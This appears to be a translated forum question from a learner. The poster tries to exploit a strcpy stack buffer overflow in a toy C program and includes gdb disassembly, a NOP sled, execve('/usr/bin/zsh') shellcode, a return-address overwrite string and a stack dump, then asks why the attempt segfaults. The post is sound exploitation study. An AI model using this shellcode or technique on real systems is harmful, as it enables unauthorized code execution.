#include <stdio.h>
#include <string.h>
int main (int argc, char **argv){
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
}
这是我一直在使用的代码来利用系统。我一直在尝试做的是将缓冲区溢出基本指针并返回到返回地址,然后指向缓冲区中的某个点以执行一些NOP行,直到它到达执行zsh命令行的shellcode。我一直在gdb中使用它来尝试让程序打开zsh命令行。因此,对于要输入的字符串格式,我使用python生成字符串。在此之前,我使用gdb来确定我的堆栈缓冲区有多大,这给了我这个:
0x0804843b <+0>: lea 0x4(%esp),%ecx
0x0804843f <+4>: and $0xfffffff0,%esp
0x08048442 <+7>: pushl -0x4(%ecx)
0x08048445 <+10>: push %ebp
0x08048446 <+11>: mov %esp,%ebp
0x08048448 <+13>: push %ecx
0x08048449 <+14>: sub $0x204,%esp
0x0804844f <+20>: mov %ecx,%eax
0x08048451 <+22>: mov 0x4(%eax),%eax
0x08048454 <+25>: add $0x4,%eax
0x08048457 <+28>: mov (%eax),%eax
0x08048459 <+30>: sub $0x8,%esp
0x0804845c <+33>: push %eax
0x0804845d <+34>: lea -0x1fc(%ebp),%eax
0x08048463 <+40>: push %eax
0x08048464 <+41>: call 0x8048310 <strcpy@plt>
0x08048469 <+46>: add $0x10,%esp
0x0804846c <+49>: mov 0x4(%ebp),%eax
0x0804846f <+52>: sub $0x8,%esp
0x08048472 <+55>: push %eax
0x08048473 <+56>: push $0x8048510
0x08048478 <+61>: call 0x8048300 <printf@plt>
0x0804847d <+66>: add $0x10,%esp
0x08048480 <+69>: mov $0x0,%eax
0x08048485 <+74>: mov -0x4(%ebp),%ecx
0x08048488 <+77>: leave
0x08048489 <+78>: lea -0x4(%ecx),%esp
0x0804848c <+81>: ret
第一个子调用告诉我缓冲区是十六进制长的0x204或十进制的516。我不是100%确定它的516不是500,因为它是一个炭而不是重点。我计划实现的shellcode是43个字节,我的返回地址我决定做10次。所以我的字符串格式如下:
$(python -c 'print ("\x90" * 457) +"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"')
我只需要在此处添加返回地址。我这样做是通过再次使用gdb在我的记忆中选择一个NOP调用的点,我只是在中间选择任何类型的移位。为此,我在$ esp。
之后在内存中打印了164个位置(gdb) x/164x $esp
0xffffcc40: 0x00000070 0xf7fefe66 0xf7fe922d 0x90909090
0xffffcc50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcc60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcc70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcc80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcc90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcca0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffccb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffccc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffccd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcce0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffccf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd00: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd10: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd20: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd30: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcda0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcde0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce00: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce10: 0x90909090 0x83c03190 0x048801ec 0x7a2f6824
0xffffce20: 0x2f686873 0x686e6962 0x7273752f 0x5650e689
0xffffce30: 0xf3890bb0 0xd231e189 0x01b080cd 0x80cddb31
0xffffce40: 0xf7f95300 0xffffce60 0x00000000 0xf7dfd637
0xffffce50: 0xf7f95000 0xf7f95000 0x00000000 0xf7dfd637
0xffffce60: 0x00000002 0xffffcef4 0xffffcf00 0x00000000
0xffffce70: 0x00000000 0x00000000 0xf7f95000 0xf7ffdc04
0xffffce80: 0xf7ffd000 0x00000000 0xf7f95000 0xf7f95000
0xffffce90: 0x00000000 0x2efe3324 0x6ec91d34 0x00000000
0xffffcea0: 0x00000000 0x00000000 0x00000002 0x08048340
0xffffceb0: 0x00000000 0xf7fedee0 0xf7fe8770 0xf7ffd000
0xffffcec0: 0x00000002 0x08048340 0x00000000 0x08048361
所以我的新字符串应如下所示:
$(python -c 'print ("\x90" * 457) +"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+("\x30\xcd\xff\xff"*10)')
现在我已向您展示了我如何做到这一点的过程,我可以问我的问题。为什么没有这项工作我应该将所有内容替换为返回地址,然后使地址指向我的NOP调用,然后打开我的命令行,但它告诉我
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
任何见解都会有所帮助我已经在这个问题上工作了很长一段时间,并且不知道从哪里开始。